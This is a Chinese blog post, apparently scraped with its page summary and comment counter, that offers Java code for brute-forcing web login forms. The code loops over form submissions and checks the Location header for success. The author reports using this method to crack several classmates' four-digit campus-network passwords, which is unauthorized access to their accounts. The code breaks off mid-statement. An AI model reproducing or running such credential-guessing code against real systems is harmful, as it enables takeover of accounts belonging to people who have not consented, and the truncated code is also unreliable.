注:以下破解思路及代码源自我同学木子
1、先来看一个无任何安全措施的登录系统的破解方法:每次模拟表单提交,若登录成功,此时返回的报头信息中有Location字段,登录失败无此字段,继续模拟登录。直到破解成功,本人成功破解部分同学校园网登录密码(纯四位数字的)代码如下:
package demo.net;
import java.io.IOException;
import java.io.PrintWriter;
import java.net.HttpURLConnection;
import java.net.URL;
import mine.util.io.TextFile;
//暴力法破解简单登录系统:该系统无任何安全措施
public class PostTest {
String urlString = "登录页面的url";
public PostTest() {
}
public PostTest(String urlString) {
this.urlString = urlString;
}
// 提交一次用户请求
private boolean doPost(String user, String password) {
boolean sucess = false;
try {
URL realUrl = new URL(urlString);
HttpURLConnection conn = (HttpURLConnection) realUrl
.openConnection();
conn.setDoOutput(true);
conn.setDoInput(true);
conn.setInstanceF

本文通过示例代码介绍了两种破解无安全措施和有安全措施登录系统的方法。第一种针对无保护的系统,通过不断模拟表单提交,根据Location字段判断登录状态。第二种涉及获取随机值来构造正确URL进行登录尝试。尽管实际成功率低,但对于理解网络编程和安全有一定参考价值。

2435

被折叠的 条评论
为什么被折叠?



